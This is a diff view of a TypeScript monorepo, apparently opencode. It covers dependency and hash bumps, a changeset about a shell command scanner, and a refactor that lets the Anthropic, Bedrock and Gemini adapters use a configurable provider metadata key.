Compare commits

..
108 changed files with 8670 additions and 1998 deletions
+10
View File
@@ -0,0 +1,10 @@
---
"@opencode-ai/core": patch
---
Make the experimental portable shell scanner authoritative, with no Tree-sitter
fallback. Scan common Bash and PowerShell control flow, heredocs, functions,
expressions, quoting, and substitutions natively. Preserve existing redirect and
declaration permission matching, and make PowerShell saved approvals cover the
original command spelling. Parser failures remain visible without changing the
permission engine. The default Tree-sitter path is unchanged.
+26 -9
View File
@@ -125,7 +125,7 @@
"@effect/platform-node": "catalog:",
"@opencode-ai/client": "workspace:*",
"@opencode-ai/plugin": "workspace:*",
"@opencode-ai/pty": "0.1.10",
"@opencode-ai/pty": "0.1.11",
"@opencode-ai/schema": "workspace:*",
"@opencode-ai/server": "workspace:*",
"@opencode-ai/tui": "workspace:*",
@@ -364,7 +364,7 @@
"@opencode-ai/ai": "workspace:*",
"@opencode-ai/codemode": "workspace:*",
"@opencode-ai/plugin": "workspace:*",
"@opencode-ai/pty": "0.1.10",
"@opencode-ai/pty": "0.1.11",
"@opencode-ai/schema": "workspace:*",
"@opencode-ai/util": "workspace:*",
"@parcel/watcher": "2.5.1",
@@ -553,6 +553,20 @@
"@typescript/native-preview": "catalog:",
},
},
"packages/latex": {
"name": "@opencode-ai/latex",
"version": "0.0.0",
"dependencies": {
"@opencode-ai/plugin": "workspace:*",
"@opentui/core": "catalog:",
"string-width": "catalog:",
},
"devDependencies": {
"@tsconfig/bun": "catalog:",
"@types/bun": "catalog:",
"@typescript/native-preview": "catalog:",
},
},
"packages/merman": {
"name": "@opencode-ai/merman",
"version": "0.0.0",
@@ -879,6 +893,7 @@
"dependencies": {
"@opencode-ai/client": "workspace:*",
"@opencode-ai/core": "workspace:*",
"@opencode-ai/latex": "workspace:*",
"@opencode-ai/merman": "workspace:*",
"@opencode-ai/plugin": "workspace:*",
"@opencode-ai/schema": "workspace:*",
@@ -2150,6 +2165,8 @@
"@opencode-ai/httpapi-codegen": ["@opencode-ai/httpapi-codegen@workspace:packages/httpapi-codegen"],
"@opencode-ai/latex": ["@opencode-ai/latex@workspace:packages/latex"],
"@opencode-ai/merman": ["@opencode-ai/merman@workspace:packages/merman"],
"@opencode-ai/plugin": ["@opencode-ai/plugin@workspace:packages/plugin"],
@@ -2158,19 +2175,19 @@
"@opencode-ai/protocol": ["@opencode-ai/protocol@workspace:packages/protocol"],
"@opencode-ai/pty": ["@opencode-ai/pty@0.1.10", "", { "optionalDependencies": { "@opencode-ai/pty-darwin-arm64": "0.1.10", "@opencode-ai/pty-darwin-x64": "0.1.10", "@opencode-ai/pty-linux-arm64-gnu": "0.1.10", "@opencode-ai/pty-linux-arm64-musl": "0.1.10", "@opencode-ai/pty-linux-x64-gnu": "0.1.10", "@opencode-ai/pty-linux-x64-musl": "0.1.10" }, "bin": { "opencode-pty": "bin/opencode-pty.js" } }, "sha512-cEJT1ADtmnb+df2wrlUcsGny6Q7pTe9Sa7keISzCO0xN1FrL1aS6+eleBPpDimHjgM/sXqvLwJv0UiAeiAvgxQ=="],
"@opencode-ai/pty": ["@opencode-ai/pty@0.1.11", "", { "optionalDependencies": { "@opencode-ai/pty-darwin-arm64": "0.1.11", "@opencode-ai/pty-darwin-x64": "0.1.11", "@opencode-ai/pty-linux-arm64-gnu": "0.1.11", "@opencode-ai/pty-linux-arm64-musl": "0.1.11", "@opencode-ai/pty-linux-x64-gnu": "0.1.11", "@opencode-ai/pty-linux-x64-musl": "0.1.11" }, "bin": { "opencode-pty": "bin/opencode-pty.js" } }, "sha512-Q4p0XXZWbc8FnpEJaaLqVbCdodxR9lVzaQjMH18KvjX/4m6tYfuspz03mvkN9MdmtDJ2GOZS7QgGQ7Q+RE9aWw=="],
"@opencode-ai/pty-darwin-arm64": ["@opencode-ai/pty-darwin-arm64@0.1.10", "", { "os": "darwin", "cpu": "arm64" }, "sha512-j7aszDFRwCIazGUT9eIy4PZwh4rltjvRmoicPRTK3kONN3v0MMflstkmAFDYYpqDPTNh3qJ6xkQmB+DugEbhAg=="],
"@opencode-ai/pty-darwin-arm64": ["@opencode-ai/pty-darwin-arm64@0.1.11", "", { "os": "darwin", "cpu": "arm64" }, "sha512-Hz59ImecqeBdLQ40TknPDc9k4xWjQPaTgZ7cXzF3vclAvZiFYSM1rRdbBF6rOaOB0DBp0OFYsiaPP1ykszLsfw=="],
"@opencode-ai/pty-darwin-x64": ["@opencode-ai/pty-darwin-x64@0.1.10", "", { "os": "darwin", "cpu": "x64" }, "sha512-UAMP/E4lo9RGQF7xrfIwpW2ZEemj308rCogJy14ruKYJt5MwHeGNTynGiHE/1JlDLRy+21wV50jpugADgT71ag=="],
"@opencode-ai/pty-darwin-x64": ["@opencode-ai/pty-darwin-x64@0.1.11", "", { "os": "darwin", "cpu": "x64" }, "sha512-TPpA+FZ08BXtTcOeqe0FEJitqLld6Nl46UizcSmQCTRM22xOKPar6OoxHGYtqdFCaFk43a+hk/0GWpV7mcEQEg=="],
"@opencode-ai/pty-linux-arm64-gnu": ["@opencode-ai/pty-linux-arm64-gnu@0.1.10", "", { "os": "linux", "cpu": "arm64" }, "sha512-lTPlZNQ66koFHZqoPmvvq0SetlepKVQYgnLryhlVfYtcryWDJM7gV4+P66V12RwqWQTjt2u8j12mtg3axSKg2w=="],
"@opencode-ai/pty-linux-arm64-gnu": ["@opencode-ai/pty-linux-arm64-gnu@0.1.11", "", { "os": "linux", "cpu": "arm64" }, "sha512-PTU9Ss5a5pApw6IeVvjjbFPuui2oKMoTQ/nY+K1+idLpgMeQHXk2URJbQqetqJxH4OLL5eSutDeWvpkweW0tTw=="],
"@opencode-ai/pty-linux-arm64-musl": ["@opencode-ai/pty-linux-arm64-musl@0.1.10", "", { "os": "linux", "cpu": "arm64" }, "sha512-IDmWHRylMR/ZfMw9/AAktO/Edi4TITPC+Tq7Xx3JZHsDgSba3QdyE11uNL0zM1myTGdk6Yrt4rpdAzaItPnDjw=="],
"@opencode-ai/pty-linux-arm64-musl": ["@opencode-ai/pty-linux-arm64-musl@0.1.11", "", { "os": "linux", "cpu": "arm64" }, "sha512-NFZ2LLfEaO6858cYtEwfQKda/HnCrPR0WflnWoDllHmdY12umeHkeE8DnZQK48tziXxvEACspItXmleiAMAg3g=="],
"@opencode-ai/pty-linux-x64-gnu": ["@opencode-ai/pty-linux-x64-gnu@0.1.10", "", { "os": "linux", "cpu": "x64" }, "sha512-Q1yob0/8X2JoJZzFmNKUc32XDRAe0avKQ8PLKkpJr30qWXSrGmhltgcDmn94Q70zW9Ght9on84T7cmge9brvdQ=="],
"@opencode-ai/pty-linux-x64-gnu": ["@opencode-ai/pty-linux-x64-gnu@0.1.11", "", { "os": "linux", "cpu": "x64" }, "sha512-2Wbko2tFkgTmY6ceB+QMA3E+omaRd5IBBFjJoikMxkc7n75TXYQVz09tCC0pPW+flGvApFQ2YcIkSotdLwit+A=="],
"@opencode-ai/pty-linux-x64-musl": ["@opencode-ai/pty-linux-x64-musl@0.1.10", "", { "os": "linux", "cpu": "x64" }, "sha512-7RLHWQxX/wfUKJJP2ZMMtkXaPsrgoMNKzE6PL/LbnYbMBtkqfld9EDcMv1RFZ0CqjNFgI0Hg4eRk6x+ZNc/wyQ=="],
"@opencode-ai/pty-linux-x64-musl": ["@opencode-ai/pty-linux-x64-musl@0.1.11", "", { "os": "linux", "cpu": "x64" }, "sha512-PF7vbOsSOVbRSo11pOOmJq/Vp34Ww7Xoo8rUeMSAoG1tJSIp2SXFHCRKEGH9H4KxGUfpRHQlDBV1HLz8onnyJQ=="],
"@opencode-ai/schema": ["@opencode-ai/schema@workspace:packages/schema"],
+4 -4
View File
@@ -1,8 +1,8 @@
{
"nodeModules": {
"x86_64-linux": "sha256-XHUy+Hk+RHUHREt4x0HfSzr3RlEvgBd4H/fV0rlXw2M=",
"aarch64-linux": "sha256-/gIaM62uV2X6KCnkSi6QjyT7t7uJ2L7u7CxXxPQYK+w=",
"aarch64-darwin": "sha256-PWG6ALh6kG7mnC6AzEuIAU54BEQ4IB+SyyQFGb/s+Dc=",
"x86_64-darwin": "sha256-TcgRDHG4CAT+XoCi0JNansONjg06ZPRmeLRsqmdJ4B4="
"x86_64-linux": "sha256-NV1PD2fCgWEKsr9kR0pV9jgkC400dzoF7/DnI/fY5yI=",
"aarch64-linux": "sha256-TDTdwE0mcHLrrKPDwPPBk3qIDl/PXJrLX6Zbwp7EH3I=",
"aarch64-darwin": "sha256-6MEoiV1UKAWgC7C6PR4USCP/LLZXROfBfPg6sb2VVWg=",
"x86_64-darwin": "sha256-8JV6YVZFq1BC++zpARxBWhQ+wuNJrWgTZJ6jfQhDybs="
}
}
+42 -32
View File
@@ -406,6 +406,7 @@ const AnthropicEvent = Schema.Struct({
type AnthropicEvent = Schema.Schema.Type<typeof AnthropicEvent>
interface ParserState {
readonly providerMetadataKey: string
readonly tools: ToolStream.State<number>
readonly reasoningSignatures: Readonly<Record<number, string>>
readonly usage?: Usage
@@ -440,18 +441,18 @@ const cacheControl = (breakpoints: Cache.Breakpoints, cache: CacheHint | undefin
return Cache.ttlBucket(cache.ttlSeconds) === "1h" ? EPHEMERAL_1H : EPHEMERAL_5M
}
const anthropicMetadata = (metadata: Record<string, unknown>): ProviderMetadata => ({ anthropic: metadata })
const providerMetadata = (key: string, metadata: Record<string, unknown>): ProviderMetadata => ({ [key]: metadata })
const signatureFromMetadata = (metadata: ProviderMetadata | undefined): string | undefined => {
const anthropic = metadata?.anthropic
if (!ProviderShared.isRecord(anthropic)) return undefined
return typeof anthropic.signature === "string" ? anthropic.signature : undefined
const signatureFromMetadata = (metadata: ProviderMetadata | undefined, key: string): string | undefined => {
const provider = metadata?.[key]
if (!ProviderShared.isRecord(provider)) return undefined
return typeof provider.signature === "string" ? provider.signature : undefined
}
const redactedDataFromMetadata = (metadata: ProviderMetadata | undefined): string | undefined => {
const anthropic = metadata?.anthropic
if (!ProviderShared.isRecord(anthropic)) return undefined
return typeof anthropic.redactedData === "string" ? anthropic.redactedData : undefined
const redactedDataFromMetadata = (metadata: ProviderMetadata | undefined, key: string): string | undefined => {
const provider = metadata?.[key]
if (!ProviderShared.isRecord(provider)) return undefined
return typeof provider.redactedData === "string" ? provider.redactedData : undefined
}
const lowerTool = (breakpoints: Cache.Breakpoints, tool: ToolDefinition, inputSchema: JsonSchema): AnthropicTool => ({
@@ -511,13 +512,16 @@ const serverToolResultType = (name: string): AnthropicServerToolResultType | und
return undefined
}
const lowerServerToolResult = Effect.fn("AnthropicMessages.lowerServerToolResult")(function* (part: ToolResultPart) {
const lowerServerToolResult = Effect.fn("AnthropicMessages.lowerServerToolResult")(function* (
part: ToolResultPart,
providerMetadataKey: string,
) {
const wireType = serverToolResultType(part.name)
if (!wireType)
return yield* invalid(`Anthropic Messages does not know how to round-trip server tool result for ${part.name}`)
// Prefer the provider-owned replay payload; fall back to the result value for
// histories constructed directly from provider events.
const payload = part.providerMetadata?.anthropic?.["result"] ?? part.result.value
const payload = part.providerMetadata?.[providerMetadataKey]?.["result"] ?? part.result.value
return {
type: wireType,
tool_use_id: scrubToolCallID(part.id),
@@ -804,6 +808,7 @@ const lowerMessages = Effect.fn("AnthropicMessages.lowerMessages")(function* (
breakpoints: Cache.Breakpoints,
) {
const messages: AnthropicMessage[] = []
const providerMetadataKey = request.model.route.providerMetadataKey ?? String(request.model.provider)
for (const [index, message] of request.messages.entries()) {
if (message.role === "system") {
@@ -849,8 +854,8 @@ const lowerMessages = Effect.fn("AnthropicMessages.lowerMessages")(function* (
if (part.type === "reasoning") {
// A signature marks visible thinking; only signature-less parts carrying
// redactedData round-trip as opaque redacted_thinking blocks.
const signature = part.encrypted ?? signatureFromMetadata(part.providerMetadata)
const redactedData = redactedDataFromMetadata(part.providerMetadata)
const signature = part.encrypted ?? signatureFromMetadata(part.providerMetadata, providerMetadataKey)
const redactedData = redactedDataFromMetadata(part.providerMetadata, providerMetadataKey)
if (signature === undefined && redactedData !== undefined) {
content.push({ type: "redacted_thinking", data: redactedData })
continue
@@ -879,7 +884,7 @@ const lowerMessages = Effect.fn("AnthropicMessages.lowerMessages")(function* (
continue
}
if (part.type === "tool-result" && part.providerExecuted) {
content.push(yield* lowerServerToolResult(part))
content.push(yield* lowerServerToolResult(part, providerMetadataKey))
continue
}
return yield* invalid(
@@ -1069,7 +1074,7 @@ const mapFinishReason = (reason: string | null | undefined): FinishReason => {
// inclusive `inputTokens` the rest of the contract expects. Extended
// thinking tokens are included in `output_tokens`; newer responses also
// expose that subset through `output_tokens_details.thinking_tokens`.
const mapUsage = (usage: AnthropicUsage | undefined): Usage | undefined => {
const mapUsage = (usage: AnthropicUsage | undefined, providerMetadataKey: string): Usage | undefined => {
if (!usage) return undefined
const nonCached = usage.input_tokens ?? undefined
const cacheRead = usage.cache_read_input_tokens ?? undefined
@@ -1083,7 +1088,7 @@ const mapUsage = (usage: AnthropicUsage | undefined): Usage | undefined => {
cacheWriteInputTokens: cacheWrite,
reasoningTokens: usage.output_tokens_details?.thinking_tokens,
totalTokens: ProviderShared.totalTokens(inputTokens, usage.output_tokens, undefined),
providerMetadata: { anthropic: usage },
providerMetadata: { [providerMetadataKey]: usage },
})
}
@@ -1092,7 +1097,7 @@ const mapUsage = (usage: AnthropicUsage | undefined): Usage | undefined => {
// field prefers `right` when defined, falls back to `left`. `inputTokens` is
// recomputed from the merged breakdown so the inclusive total stays
// consistent with `nonCached + cacheRead + cacheWrite`.
const mergeUsage = (left: Usage | undefined, right: Usage | undefined) => {
const mergeUsage = (left: Usage | undefined, right: Usage | undefined, providerMetadataKey: string) => {
if (!left) return right
if (!right) return left
const nonCachedInputTokens = right.nonCachedInputTokens ?? left.nonCachedInputTokens
@@ -1110,7 +1115,9 @@ const mergeUsage = (left: Usage | undefined, right: Usage | undefined) => {
reasoningTokens,
totalTokens: ProviderShared.totalTokens(inputTokens, outputTokens, undefined),
providerMetadata: {
anthropic: mergeJsonRecords(left.providerMetadata?.["anthropic"], right.providerMetadata?.["anthropic"]) ?? {},
[providerMetadataKey]:
mergeJsonRecords(left.providerMetadata?.[providerMetadataKey], right.providerMetadata?.[providerMetadataKey]) ??
{},
},
})
}
@@ -1128,7 +1135,7 @@ const SERVER_TOOL_RESULT_NAMES: Record<AnthropicServerToolResultType, string> =
const isServerToolResultType = (type: string): type is AnthropicServerToolResultType => type in SERVER_TOOL_RESULT_NAMES
const serverToolResultEvent = (block: AnthropicStreamBlock): LLMEvent | undefined => {
const serverToolResultEvent = (block: AnthropicStreamBlock, providerMetadataKey: string): LLMEvent | undefined => {
if (!block.type || !isServerToolResultType(block.type)) return undefined
const errorPayload =
typeof block.content === "object" && block.content !== null && "type" in block.content
@@ -1142,7 +1149,7 @@ const serverToolResultEvent = (block: AnthropicStreamBlock): LLMEvent | undefine
providerExecuted: true,
// The complete payload is irreducible provider replay state: subsequent
// stateless requests must round-trip the typed result block verbatim.
providerMetadata: anthropicMetadata({ blockType: block.type, result: block.content }),
providerMetadata: providerMetadata(providerMetadataKey, { blockType: block.type, result: block.content }),
})
}
@@ -1151,8 +1158,8 @@ type StepResult = readonly [ParserState, ReadonlyArray<LLMEvent>]
const NO_EVENTS: StepResult["1"] = []
const onMessageStart = (state: ParserState, event: AnthropicEvent): StepResult => {
const usage = mapUsage(event.message?.usage)
return [usage ? { ...state, usage: mergeUsage(state.usage, usage) } : state, NO_EVENTS]
const usage = mapUsage(event.message?.usage, state.providerMetadataKey)
return [usage ? { ...state, usage: mergeUsage(state.usage, usage, state.providerMetadataKey) } : state, NO_EVENTS]
}
const onContentBlockStart = (
@@ -1204,14 +1211,16 @@ const onContentBlockStart = (
if (block.type === "thinking" && block.thinking !== undefined) {
const events: LLMEvent[] = []
const id = `reasoning-${event.index ?? 0}`
const providerMetadata =
block.signature === undefined ? undefined : anthropicMetadata({ signature: block.signature })
const lifecycle = Lifecycle.reasoningStart(state.lifecycle, events, id, providerMetadata)
const metadata =
block.signature === undefined
? undefined
: providerMetadata(state.providerMetadataKey, { signature: block.signature })
const lifecycle = Lifecycle.reasoningStart(state.lifecycle, events, id, metadata)
return [
{
...state,
lifecycle: block.thinking
? Lifecycle.reasoningDelta(lifecycle, events, id, block.thinking, providerMetadata)
? Lifecycle.reasoningDelta(lifecycle, events, id, block.thinking, metadata)
: lifecycle,
reasoningSignatures:
event.index === undefined || block.signature === undefined
@@ -1234,14 +1243,14 @@ const onContentBlockStart = (
state.lifecycle,
events,
`reasoning-${event.index ?? 0}`,
anthropicMetadata({ redactedData: block.data }),
providerMetadata(state.providerMetadataKey, { redactedData: block.data }),
),
},
events,
]
}
const result = serverToolResultEvent(block)
const result = serverToolResultEvent(block, state.providerMetadataKey)
if (!result) return [state, NO_EVENTS]
const events: LLMEvent[] = []
return [{ ...state, lifecycle: Lifecycle.stepStart(state.lifecycle, events) }, [...events, result]]
@@ -1321,7 +1330,7 @@ const onContentBlockStop = Effect.fn("AnthropicMessages.onContentBlockStop")(fun
Lifecycle.textEnd(state.lifecycle, events, `text-${event.index}`),
events,
`reasoning-${event.index}`,
signature === undefined ? undefined : anthropicMetadata({ signature }),
signature === undefined ? undefined : providerMetadata(state.providerMetadataKey, { signature }),
)
events.push(...resultEvents)
const reasoningSignatures = { ...state.reasoningSignatures }
@@ -1333,7 +1342,7 @@ const onMessageDelta = (
state: ParserState,
event: AnthropicEvent & { readonly delta?: AnthropicStreamDelta },
): StepResult => {
const usage = mergeUsage(state.usage, mapUsage(event.usage))
const usage = mergeUsage(state.usage, mapUsage(event.usage, state.providerMetadataKey), state.providerMetadataKey)
return [
{
...state,
@@ -1346,7 +1355,7 @@ const onMessageDelta = (
providerMetadata:
event.delta?.stop_sequence === null || event.delta?.stop_sequence === undefined
? undefined
: anthropicMetadata({ stopSequence: event.delta.stop_sequence }),
: providerMetadata(state.providerMetadataKey, { stopSequence: event.delta.stop_sequence }),
},
},
NO_EVENTS,
@@ -1472,7 +1481,8 @@ export const protocol = Protocol.make({
},
stream: {
event: Protocol.jsonEvent(AnthropicEvent),
initial: () => ({
initial: (request) => ({
providerMetadataKey: request.model.route.providerMetadataKey ?? String(request.model.provider),
tools: ToolStream.empty<number>(),
reasoningSignatures: {},
lifecycle: Lifecycle.initial(),
+24 -25
View File
@@ -258,19 +258,21 @@ const lowerToolChoice = (toolChoice: NonNullable<LLMRequest["toolChoice"]>) =>
tool: (name) => ({ tool: { name } }) as const,
})
const bedrockMetadata = (metadata: Record<string, unknown>): ProviderMetadata => ({ bedrock: metadata })
const providerMetadata = (key: string, metadata: Record<string, unknown>): ProviderMetadata => ({ [key]: metadata })
const reasoningSignature = (part: ReasoningPart) => {
const bedrock = part.providerMetadata?.bedrock
const reasoningSignature = (part: ReasoningPart, providerMetadataKey: string) => {
const metadata = part.providerMetadata?.[providerMetadataKey]
return (
part.encrypted ??
(ProviderShared.isRecord(bedrock) && typeof bedrock.signature === "string" ? bedrock.signature : undefined)
(ProviderShared.isRecord(metadata) && typeof metadata.signature === "string" ? metadata.signature : undefined)
)
}
const reasoningRedactedData = (part: ReasoningPart) => {
const bedrock = part.providerMetadata?.bedrock
return ProviderShared.isRecord(bedrock) && typeof bedrock.redactedData === "string" ? bedrock.redactedData : undefined
const reasoningRedactedData = (part: ReasoningPart, providerMetadataKey: string) => {
const metadata = part.providerMetadata?.[providerMetadataKey]
return ProviderShared.isRecord(metadata) && typeof metadata.redactedData === "string"
? metadata.redactedData
: undefined
}
const lowerToolCall = (part: ToolCallPart): BedrockToolUseBlock => ({
@@ -318,6 +320,7 @@ const lowerMessages = Effect.fn("BedrockConverse.lowerMessages")(function* (
breakpoints: BedrockCache.Breakpoints,
) {
const messages: BedrockMessage[] = []
const providerMetadataKey = request.model.route.providerMetadataKey ?? String(request.model.provider)
for (const message of request.messages) {
if (message.role === "system") {
@@ -365,8 +368,8 @@ const lowerMessages = Effect.fn("BedrockConverse.lowerMessages")(function* (
continue
}
if (part.type === "reasoning") {
const signature = reasoningSignature(part)
const redactedData = reasoningRedactedData(part)
const signature = reasoningSignature(part, providerMetadataKey)
const redactedData = reasoningRedactedData(part, providerMetadataKey)
if (signature === undefined && redactedData !== undefined) {
content.push({ reasoningContent: { redactedContent: redactedData } })
continue
@@ -466,7 +469,7 @@ const mapFinishReason = (reason: string): FinishReason => {
// AWS reports inputTokens separately from cache reads and writes.
// Bedrock does not break reasoning out of outputTokens for current models.
const mapUsage = (usage: BedrockUsageSchema | undefined): Usage | undefined => {
const mapUsage = (usage: BedrockUsageSchema | undefined, providerMetadataKey: string): Usage | undefined => {
if (!usage) return undefined
const inputTokens = ProviderShared.sumTokens(
usage.inputTokens,
@@ -480,11 +483,12 @@ const mapUsage = (usage: BedrockUsageSchema | undefined): Usage | undefined => {
cacheReadInputTokens: usage.cacheReadInputTokens,
cacheWriteInputTokens: usage.cacheWriteInputTokens,
totalTokens: ProviderShared.totalTokens(inputTokens, usage.outputTokens, usage.totalTokens),
providerMetadata: { bedrock: usage },
providerMetadata: { [providerMetadataKey]: usage },
})
}
interface ParserState {
readonly providerMetadataKey: string
readonly tools: ToolStream.State<number>
// Bedrock splits the finish into `messageStop` (carries `stopReason`) and
// `metadata` (carries usage). Hold the terminal event in state so `onHalt`
@@ -541,20 +545,14 @@ const step = (state: ParserState, event: BedrockEvent) =>
const reasoning = event.contentBlockDelta.delta.reasoningContent
const events: LLMEvent[] = []
const redactedData = reasoning.redactedContent ?? reasoning.data
const providerMetadata = reasoning.signature
? bedrockMetadata({ signature: reasoning.signature })
const metadata = reasoning.signature
? providerMetadata(state.providerMetadataKey, { signature: reasoning.signature })
: redactedData !== undefined
? bedrockMetadata({ redactedData })
? providerMetadata(state.providerMetadataKey, { redactedData })
: undefined
const lifecycle =
reasoning.text !== undefined || providerMetadata !== undefined
? Lifecycle.reasoningDelta(
state.lifecycle,
events,
`reasoning-${index}`,
reasoning.text ?? "",
providerMetadata,
)
reasoning.text !== undefined || metadata !== undefined
? Lifecycle.reasoningDelta(state.lifecycle, events, `reasoning-${index}`, reasoning.text ?? "", metadata)
: state.lifecycle
return [
{
@@ -596,7 +594,7 @@ const step = (state: ParserState, event: BedrockEvent) =>
events,
`reasoning-${index}`,
state.reasoningSignatures[index]
? bedrockMetadata({ signature: state.reasoningSignatures[index] })
? providerMetadata(state.providerMetadataKey, { signature: state.reasoningSignatures[index] })
: undefined,
)
events.push(...resultEvents)
@@ -633,7 +631,7 @@ const step = (state: ParserState, event: BedrockEvent) =>
}
if (event.metadata) {
const usage = mapUsage(event.metadata.usage) ?? state.pendingFinish?.usage
const usage = mapUsage(event.metadata.usage, state.providerMetadataKey) ?? state.pendingFinish?.usage
return [
{
...state,
@@ -698,7 +696,8 @@ export const protocol = Protocol.make({
},
stream: {
event: BedrockEvent,
initial: () => ({
initial: (request) => ({
providerMetadataKey: request.model.route.providerMetadataKey ?? String(request.model.provider),
tools: ToolStream.empty<number>(),
pendingFinish: undefined,
hasToolCalls: false,
+36 -21
View File
@@ -229,6 +229,7 @@ type GeminiEvent = Schema.Schema.Type<typeof GeminiEvent>
interface ParserState {
readonly route: string
readonly providerMetadataKey: string
readonly finishReason?: string
readonly hasToolCalls: boolean
readonly promptFeedback?: GeminiPromptFeedback
@@ -285,22 +286,23 @@ const lowerUserPart = Effect.fn("Gemini.lowerUserPart")(function* (part: TextPar
return { inlineData: { mimeType: media.mime, data: media.base64 } }
})
const googleMetadata = (metadata: Record<string, unknown>): ProviderMetadata => ({ google: metadata })
const providerMetadata = (key: string, metadata: Record<string, unknown>): ProviderMetadata => ({ [key]: metadata })
const thoughtSignature = (providerMetadata: ProviderMetadata | undefined) => {
const google = providerMetadata?.google
return ProviderShared.isRecord(google) && typeof google.thoughtSignature === "string"
? google.thoughtSignature
const thoughtSignature = (metadata: ProviderMetadata | undefined, key: string) => {
const value = metadata?.[key]
return ProviderShared.isRecord(value) && typeof value.thoughtSignature === "string"
? value.thoughtSignature
: undefined
}
const lowerToolCall = (part: ToolCallPart, omitIds: boolean) => ({
const lowerToolCall = (part: ToolCallPart, omitIds: boolean, metadataKey: string) => ({
functionCall: { ...(omitIds ? {} : { id: part.id }), name: part.name, args: part.input },
thoughtSignature: thoughtSignature(part.providerMetadata),
thoughtSignature: thoughtSignature(part.providerMetadata, metadataKey),
})
const lowerMessages = Effect.fn("Gemini.lowerMessages")(function* (request: LLMRequest) {
const contents: GeminiContent[] = []
const metadataKey = request.model.route.providerMetadataKey ?? String(request.model.provider)
const omitCallIds = omitsFunctionCallIds(request.model.id)
const legacyToolMedia = routesLegacyToolMedia(request.model.id)
let pendingMedia: GeminiInlineDataPart[] | undefined
@@ -342,15 +344,19 @@ const lowerMessages = Effect.fn("Gemini.lowerMessages")(function* (request: LLMR
if (!ProviderShared.supportsContent(part, ["text", "reasoning", "tool-call"]))
return yield* ProviderShared.unsupportedContent("Gemini", "assistant", ["text", "reasoning", "tool-call"])
if (part.type === "text") {
parts.push({ text: part.text, thoughtSignature: thoughtSignature(part.providerMetadata) })
parts.push({ text: part.text, thoughtSignature: thoughtSignature(part.providerMetadata, metadataKey) })
continue
}
if (part.type === "reasoning") {
parts.push({ text: part.text, thought: true, thoughtSignature: thoughtSignature(part.providerMetadata) })
parts.push({
text: part.text,
thought: true,
thoughtSignature: thoughtSignature(part.providerMetadata, metadataKey),
})
continue
}
if (part.type === "tool-call") {
const lowered = lowerToolCall(part, omitCallIds)
const lowered = lowerToolCall(part, omitCallIds, metadataKey)
const signature = lowered.thoughtSignature
parts.push({
...lowered,
@@ -498,7 +504,7 @@ const fromRequest = Effect.fn("Gemini.fromRequest")(function* (request: LLMReque
// `cachedContentTokenCount` subset. `candidatesTokenCount` is *exclusive*
// of `thoughtsTokenCount` — visible-only, not a total — so we sum the two
// to produce the inclusive `outputTokens` the rest of the contract expects.
const mapUsage = (usage: GeminiUsage | undefined) => {
const mapUsage = (usage: GeminiUsage | undefined, metadataKey: string) => {
if (!usage) return undefined
// Explicit provider nulls decode as `null`; normalize to `undefined` so the
// token arithmetic below treats them like absent counts.
@@ -519,7 +525,7 @@ const mapUsage = (usage: GeminiUsage | undefined) => {
cacheReadInputTokens: cached,
reasoningTokens: thoughts,
totalTokens: ProviderShared.totalTokens(promptTokens, outputTokens, usage.totalTokenCount ?? undefined),
providerMetadata: { google: usage },
providerMetadata: providerMetadata(metadataKey, usage),
})
}
@@ -567,14 +573,14 @@ const finish = (state: ParserState): ReadonlyArray<LLMEvent> => {
lifecycle,
events,
"reasoning-0",
googleMetadata({ thoughtSignature: state.reasoningSignature }),
providerMetadata(state.providerMetadataKey, { thoughtSignature: state.reasoningSignature }),
)
if (state.textSignature !== undefined)
lifecycle = Lifecycle.textEnd(
lifecycle,
events,
"text-0",
googleMetadata({ thoughtSignature: state.textSignature }),
providerMetadata(state.providerMetadataKey, { thoughtSignature: state.textSignature }),
)
Lifecycle.finish(lifecycle, events, {
reason: {
@@ -584,7 +590,9 @@ const finish = (state: ParserState): ReadonlyArray<LLMEvent> => {
},
usage: state.usage,
providerMetadata:
state.promptFeedback === undefined ? undefined : googleMetadata({ promptFeedback: state.promptFeedback }),
state.promptFeedback === undefined
? undefined
: providerMetadata(state.providerMetadataKey, { promptFeedback: state.promptFeedback }),
})
return events
}
@@ -593,7 +601,9 @@ const step = (state: ParserState, event: GeminiEvent) => {
const nextState = {
...state,
promptFeedback: event.promptFeedback ?? state.promptFeedback,
usage: event.usageMetadata ? (mapUsage(event.usageMetadata) ?? state.usage) : state.usage,
usage: event.usageMetadata
? (mapUsage(event.usageMetadata, state.providerMetadataKey) ?? state.usage)
: state.usage,
}
const candidate = event.candidates?.[0]
if (!candidate?.content)
@@ -637,7 +647,7 @@ const step = (state: ParserState, event: GeminiEvent) => {
events,
"reasoning-0",
part.text,
signature ? googleMetadata({ thoughtSignature: signature }) : undefined,
signature ? providerMetadata(state.providerMetadataKey, { thoughtSignature: signature }) : undefined,
)
continue
}
@@ -645,14 +655,16 @@ const step = (state: ParserState, event: GeminiEvent) => {
lifecycle,
events,
"reasoning-0",
reasoningSignature ? googleMetadata({ thoughtSignature: reasoningSignature }) : undefined,
reasoningSignature
? providerMetadata(state.providerMetadataKey, { thoughtSignature: reasoningSignature })
: undefined,
)
lifecycle = Lifecycle.textDelta(
lifecycle,
events,
"text-0",
part.text,
textSignature ? googleMetadata({ thoughtSignature: textSignature }) : undefined,
textSignature ? providerMetadata(state.providerMetadataKey, { thoughtSignature: textSignature }) : undefined,
)
textSignature = undefined
continue
@@ -672,7 +684,9 @@ const step = (state: ParserState, event: GeminiEvent) => {
lifecycle,
events,
"reasoning-0",
reasoningSignature ? googleMetadata({ thoughtSignature: reasoningSignature }) : undefined,
reasoningSignature
? providerMetadata(state.providerMetadataKey, { thoughtSignature: reasoningSignature })
: undefined,
)
lifecycle = Lifecycle.stepStart(lifecycle, events)
events.push(
@@ -681,7 +695,7 @@ const step = (state: ParserState, event: GeminiEvent) => {
name: part.functionCall.name,
input,
providerMetadata: part.thoughtSignature
? googleMetadata({ thoughtSignature: part.thoughtSignature })
? providerMetadata(state.providerMetadataKey, { thoughtSignature: part.thoughtSignature })
: undefined,
}),
)
@@ -720,6 +734,7 @@ export const protocol = Protocol.make({
event: Protocol.jsonEvent(GeminiEvent),
initial: (request) => ({
route: `${request.model.provider}/${request.model.route.id}`,
providerMetadataKey: request.model.route.providerMetadataKey ?? String(request.model.provider),
hasToolCalls: false,
lifecycle: Lifecycle.initial(),
}),
+49 -19
View File
@@ -253,6 +253,7 @@ interface PendingToolDelta {
}
export interface ParserState {
readonly providerMetadataKey: string
readonly tools: ToolStream.State<number>
readonly pendingTools: Partial<Record<number, PendingToolDelta>>
readonly toolCallEvents: ReadonlyArray<LLMEvent>
